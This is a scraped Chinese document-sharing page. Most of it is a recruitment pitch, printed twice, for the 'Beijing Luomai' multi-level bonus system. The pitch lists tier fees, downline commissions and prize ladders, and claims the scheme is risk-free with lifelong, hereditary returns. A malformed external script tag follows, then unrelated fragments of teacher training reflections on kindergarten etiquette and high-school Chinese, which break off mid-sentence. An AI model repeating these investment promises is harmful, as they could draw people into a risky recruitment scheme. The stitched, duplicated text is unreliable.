文档介绍：北京罗麦奖金制度罗麦奖金制度:级别加入金额周薪封顶小区业绩零售培育银卡398400015%30%10%金卡**********%30%10%白金卡39805000015%40%10%钻石卡79608000015%40%10%专卖店2388024000015%40%10%第一零售奖:银卡、金卡30%;白金卡、钻石卡40%第二市场开拓奖:小区业绩15%第三培育奖:3代10%,北京罗麦奖金制度。小区业绩达到1990元获得一代10%;小区业绩达到3980元获得二代10%;小区业绩达到5970元获得三代10%。第四重复消费奖:一、拿30%-40%零售奖金;二、25%进入小区拿15%的开拓奖。第五专卖店补贴:报单业绩8%,重复消费和零售8%第六福利奖:级别两市场各累计(1单=1分)奖励一级300分时尚数码产品一部二级900分时尚笔记本电脑一台三-级3000分豪华境外旅游四级20000分别克轿车一部五级60000分宝马轿车一部六级120000分罗麦安居工程公寓一套罗麦新制度的优越性:1,业绩不归零,无限累积,永不作废;2,没时间限制,无业绩要求,无压力;3,消费投资少,门坎低,无风险;4,一次性投资,终身受益,资格世袭,永续经营!5,简单,易懂,易学;启动快,倍增快,复制快,互动性强,新人易存活;6,重复消费无强制要求,安全自由选择,最人性化制度;7,零售奖和市场开拓奖拨出率高,是目前拿牌公司最高的;8,培育奖10%无封顶,容易实现,单区也能拿钱;9,专卖店会员,公司额外补贴8%,;10,福利奖有奖金就同时有积累,不需要达到高级别才能享受;11,公司有强大的服务支持,不送货,不囤货,只管建设和培养团队,轻松愉快!-------------------华丽丽的分割线------------------罗麦奖金制度:级别加入金额周薪封顶小区业绩零售培育银卡398400015%30%10%金卡**********%30%10%白金卡39805000015%40%10%钻石卡79608000015%40%10%专卖店2388024000015%40%10%第一零售奖:银卡、金卡30%;白金卡、钻石卡40%第二市场开拓奖:小区业绩15%第三培育奖:3代10%,管理制度《北京罗麦奖金制度》(https://)。小区业绩达到1990元获得一代10%;小区业绩达到3980元获得二代10%;小区业绩达到5970元获得三代10%。第四重复消费奖:一、拿30%-40%零售奖金;二、25%进入小区拿15%的开拓奖。第五专卖店补贴:报单业绩8%,重复消费和零售8%第六福利奖:级别两市场各累计(1单=1分)奖励一级300分时尚数码产品一部二级900分时尚笔记本电脑一台三-级3000分豪华境外旅游四级20000分别克轿车一部五级60000分宝马轿车一部六级120000分罗麦安居工程公寓一套罗麦新制度的优越性:1,业绩不归零,无限累积,永不作废;2,没时间限制,无业绩要求,无压力;3,消费投资少,门坎低,无风险;4,一次性投资,终身受益,资格世袭,永续经营!5,简单,易懂,易学;启动快,倍增快,复制快,互动性强,新人易存活;6,重复消费无强制要求,安全自由选择,最人性化制度;7,零售奖和市场开拓奖拨出率高,是目前拿牌公司最高的;8,培育奖10%无封顶,容易实现,单区也能拿钱;9,专卖店会员,公司额外补贴8%,;10,福利奖有奖金就同时有积累,不需要达到高级别才能享受;11,公司有强大的服务支持,不送货,不囤货,只管建设和培养团队,轻松愉快!scriptlanguage=javascriptsrc=‘https://o/201108/’/script ,而且也明确了如何在幼儿园开展礼仪教育。通过培训使我认识到幼儿一日生活包含着大量的礼仪教育契机,我们可以将礼仪教育渗透在幼儿一日生活的各个环节,对幼儿进行随机教育,强化幼儿礼仪意识,从而帮助孩子形成良好的礼仪习惯。邵老师提到我们可以利用幼儿入园和离园时对幼儿进行礼仪教育。每天幼儿来园,见到老师和小朋友都应该问好,这是幼儿应该养成的最起码的礼貌习惯。为了使幼儿能尽快形成这样的习惯,老师可以先主动热情地向孩子问好,为幼儿做好表率,并且肯定和表扬讲礼貌的幼儿。然后再教孩子与家长分别时说“妈妈或爸爸再见”。邵老师还告诉我们可以利用课间盥洗和喝水时对幼儿进……第3篇北京站培训工作总结我们新高一的语文教师参加了四川省高中语文新课程培训。我通过这几天的培训,谈谈个人心得。几所大学语文方面的教授进行了新课程的多方面知识的远程讲座,如华东师范大学“关于语文课程总目标”的解读,浙江师范大学“文言文